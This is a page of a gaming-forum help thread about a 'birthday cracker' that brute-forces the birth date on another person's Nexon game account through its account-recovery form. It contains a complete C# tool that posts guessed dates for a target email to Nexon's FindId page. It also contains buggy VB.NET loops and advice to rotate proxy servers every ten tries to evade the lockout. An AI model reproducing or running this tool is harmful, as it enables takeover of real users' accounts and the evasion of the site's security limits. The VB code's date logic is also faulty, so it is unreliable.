[Help]Birthday Cracker

Posts 1–15 of 27 · Page 1 of 2
[Help]Birthday Cracker
Right now i need help on birthday cracking.

The user places in a starting month, day and year in a textbox.

Then the program reads the starting birthday to start from but how do you make it continue on to the stop date?
Hmm not sure about that 1..
Could be:

If StopDateBox1.Text = EndDate Then
Timer1.Stop

Idk what you're using..
Do you have any current code? A better description would be a lot more helpful.
Code:
month = 1
        day = 1
        year = 2012
        birthday = day & "/" & month & "/" & year
        Do Until (birthday = gamebirthday)
            day = day + 1
            If day = 32 Then
            month = month + 1
            day = 1
            End IF
            If month = 12 And day = 31 Then
                year = year + 1
            End If
            birthday = day & "/" & month & "/" & year
        Loop
        MsgBox("Birthday Cracked. THe birthday is: " & day & "/" & month & "/" & year)
I think hes talking about a birth day cracker for Combat arms. if he is then i lol
I have no idea what he is talking about... if anyone else knows please be sure to give me the memo.
I think i have an idea.

It starts guessing birthdays, and ascends dates (1st feb 2010, 2nd feb 2010, 3rd) until it reaches its desired date.
No you guys fail at reading :P. Hes asking for help on code for the cracker to stop guessing at the desired date.
Hmm yeah maybe. We'll have to get NextGen personally to work this out.
You guys can use the source, What needs to be worked out though? The code works 100%, the system CA system will kick you after 20 attempts (not enough obviously) so about every 10 you will want to change to a different proxy server.
Thanks NextGen. Hope it clears it up for you ppl2. And Don't birthday crackers involve a bit of complex coding?
will this code work for ascending in dates.

-- anyways im working on a different game. i dont know if nextgen1 code will work.

btw if nextgen1 can explain his coding, i might be able to work it out.

new code. i tried using this but it freezes every time.
plz help

Code:
   'Start Birthday
        Dim Month As Integer
        Dim Day As Integer
        Dim Year As Integer
        Dim SBirthday As String
        Dim EBirthday As String
        Month = TextBox3.Text
        Day = TextBox4.Text
        Year = TextBox5.Text
        SBirthday = Day & "/" & Month & "/" & Year

        'End Birthday
        Dim Month1 As Integer
        Dim Day1 As Integer
        Dim Year1 As Integer
        Month1 = TextBox6.Text
        Day1 = TextBox7.Text
        Year1 = TextBox8.Text
        EBirthday = Day1 & "/" & Month1 & "/" & Year1
        Do Until (SBirthday = EBirthday)
            Day = Day + 1
            If Day = 31 Then
                Month = Month + 1
                Day = 1
            End If
            If Month = 12 And Day = 31 Then
                Year = Year + 1
            End If
            Label11.Text = Day & "/" & Month & "/" & Year
        Loop
        MsgBox("Birthday Cracked. The birthday is: " & Day & "/" & Month & "/" & Year)
Use this as a base. It's in C#.NET though, but it's not a big stretch from VB.NET. I don't take credit for writing this, it's Howei's.

Code:
using System;
using System.IO;
using System.Net;
using System.Text;

namespace NexonBirthdayCracker
{
    class Birthday
    {
        private static void UpdateStatus(int month, int day, int year)
        {
            Console.CursorTop--;
            for (int i = 0; i < 30; i++)
            {
                Console.Write("\b");
            }
            string status = "Current Birthday: " + month.ToString() + "/" + day.ToString() + "/" + year.ToString() + "  ";
            Console.WriteLine(status);
        }

        private static void CrackBirthday(string email, int startyear, int endyear)
        {
            for (int year = startyear; year <= endyear; year++)
            {
                for (int month = 1; month <= 12; month++)
                {
                    for (int day = 1; day <= 31; day++)
                    {
                        string[] months = new string[13] { "", "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" };
                        UpdateStatus(month, day, year);
                        if (DownloadSource(email, months[month], day, year).Contains("You have entered invalid information") == false)
                        {
                            Console.WriteLine("\nBirthday found: " + month.ToString() + "/" + day.ToString() + "/" + year.ToString());
                            Console.ReadLine();
                            return;
                        }
                    }
                }
            }
            Console.WriteLine("\nBirthday not found between " + startyear + " and " + endyear);
            Console.ReadLine();
        }

        private static string DownloadSource(string email, string month, int day, int year)
        {
            WebRequest request = WebRequest.Create("http://passport.nexon.net/User/FindId.aspx");
            request.Method = "POST";
            string postData = "__VIEWSTATE=%2FwEPDwUKMTQwOTc4OTIwMA9kFgJmD2QWCGYPD2QWAh4Jb25LZXlkb3duBSRyZXR1cm4gZnJtQ29tbW5ldEtleURvd25FdmVudChldmVudClkAgEPEGQQFQ0FTW9udGgHSmFudWFyeQhGZWJydWFyeQVNYXJjaAVBcHJpbANNYXkESnVuZQRKdWx5BkF1Z3VzdAlTZXB0ZW1iZXIHT2N0b2JlcghOb3ZlbWJlcghEZWNlbWJlchUNBU1vbnRoB0phbnVhcnkIRmVicnVhcnkFTWFyY2gFQXByaWwDTWF5BEp1bmUESnVseQZBdWd1c3QJU2VwdGVtYmVyB09jdG9iZXIITm92ZW1iZXIIRGVjZW1iZXIUKwMNZ2dnZ2dnZ2dnZ2dnZ2RkAgIPEGQQFSADRGF5ATEBMgEzATQBNQE2ATcBOAE5AjEwAjExAjEyAjEzAjE0AjE1AjE2AjE3AjE4AjE5AjIwAjIxAjIyAjIzAjI0AjI1AjI2AjI3AjI4AjI5AjMwAjMxFSADRGF5ATEBMgEzATQBNQE2ATcBOAE5AjEwAjExAjEyAjEzAjE0AjE1AjE2AjE3AjE4AjE5AjIwAjIxAjIyAjIzAjI0AjI1AjI2AjI3AjI4AjI5AjMwAjMxFCsDIGdnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZGQCAw8QZBAVVwRZZWFyBDIwMDkEMjAwOAQyMDA3BDIwMDYEMjAwNQQyMDA0BDIwMDMEMjAwMgQyMDAxBDIwMDAEMTk5OQQxOTk4BDE5OTcEMTk5NgQxOTk1BDE5OTQEMTk5MwQxOTkyBDE5OTEEMTk5MAQxOTg5BDE5ODgEMTk4NwQxOTg2BDE5ODUEMTk4NAQxOTgzBDE5ODIEMTk4MQQxOTgwBDE5NzkEMTk3OAQxOTc3BDE5NzYEMTk3NQQxOTc0BDE5NzMEMTk3MgQxOTcxBDE5NzAEMTk2OQQxOTY4BDE5NjcEMTk2NgQxOTY1BDE5NjQEMTk2MwQxOTYyBDE5NjEEMTk2MAQxOTU5BDE5NTgEMTk1NwQxOTU2BDE5NTUEMTk1NAQxOTUzBDE5NTIEMTk1MQQxOTUwBDE5NDkEMTk0OAQxOTQ3BDE5NDYEMTk0NQQxOTQ0BDE5NDMEMTk0MgQxOTQxBDE5NDAEMTkzOQQxOTM4BDE5MzcEMTkzNgQxOTM1BDE5MzQEMTkzMwQxOTMyBDE5MzEEMTkzMAQxOTI5BDE5MjgEMTkyNwQxOTI2BDE5MjUEMTkyNBVXBFllYXIEMjAwOQQyMDA4BDIwMDcEMjAwNgQyMDA1BDIwMDQEMjAwMwQyMDAyBDIwMDEEMjAwMAQxOTk5BDE5OTgEMTk5NwQxOTk2BDE5OTUEMTk5NAQxOTkzBDE5OTIEMTk5MQQxOTkwBDE5ODkEMTk4OAQxOTg3BDE5ODYEMTk4NQQxOTg0BDE5ODMEMTk4MgQxOTgxBDE5ODAEMTk3OQQxOTc4BDE5NzcEMTk3NgQxOTc1BDE5NzQEMTk3MwQxOTcyBDE5NzEEMTk3MAQxOTY5BDE5NjgEMTk2NwQxOTY2BDE5NjUEMTk2NAQxOTYzBDE5NjIEMTk2MQQxOTYwBDE5NTkEMTk1OAQxOTU3BDE5NTYEMTk1NQQxOTU0BDE5NTMEMTk1MgQxOTUxBDE5NTAEMTk0OQQxOTQ4BDE5NDcEMTk0NgQxOTQ1BDE5NDQEMTk0MwQxOTQyBDE5NDEEMTk0MAQxOTM5BDE5MzgEMTkzNwQxOTM2BDE5MzUEMTkzNAQxOTMzBDE5MzIEMTkzMQQxOTMwBDE5MjkEMTkyOAQxOTI3BDE5MjYEMTkyNQQxOTI0FCsDV2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2RkZA%3D%3D&txtEmail=" + email + "&ddlBirthMonth=" + month + "&ddlBirthDay=" + day.ToString() + "&ddlBirthYear=" + year.ToString() + "&imgbtnFindID=OK&__EVENTTARGET=&__EVENTARGUMENT=";
            byte[] byteArray = Encoding.UTF8.GetBytes(postData);
            request.ContentType = "application/x-www-form-urlencoded";
            request.ContentLength = byteArray.Length;
            Stream dataStream = request.GetRequestStream();
            dataStream.Write(byteArray, 0, byteArray.Length);
            dataStream.Close();
            WebResponse response = request.GetResponse();
            dataStream = response.GetResponseStream();
            StreamReader reader = new StreamReader(dataStream);
            string responseFromServer = reader.ReadToEnd();
            reader.Close();
            dataStream.Close();
            response.Close();
            return responseFromServer;
        }

        private static void Main(string[] args)
        {
            Console.Title = "NexonID Birthday Cracker - Howei";
            Console.WriteLine("Nexon Passport ID Birthday Cracker - by Howei\n\nEnter the E-Mail registered to the NexonID that you want me to crack:");
            string email = Console.ReadLine();
            Console.Write("Which year should I start searching (start year)? ");
            int startyear = int.Parse(Console.ReadLine());
            Console.Write("Which year should I stop searching (end year)? ");
            int endyear = int.Parse(Console.ReadLine());
            Console.Clear();
            Console.WriteLine("Starting birthday recovery for " + email + " at " + DateTime.Now.ToString() + "\n\n");
            CrackBirthday(email, startyear, endyear);
        }
    }
}
Regards,
-Schyler-
XD. This IS VB section you know. But thanks for sharing
Posts 1–15 of 27 · Page 1 of 2
This thread is closed for replies.

Similar Threads

Tags for this Thread

None

Talk with us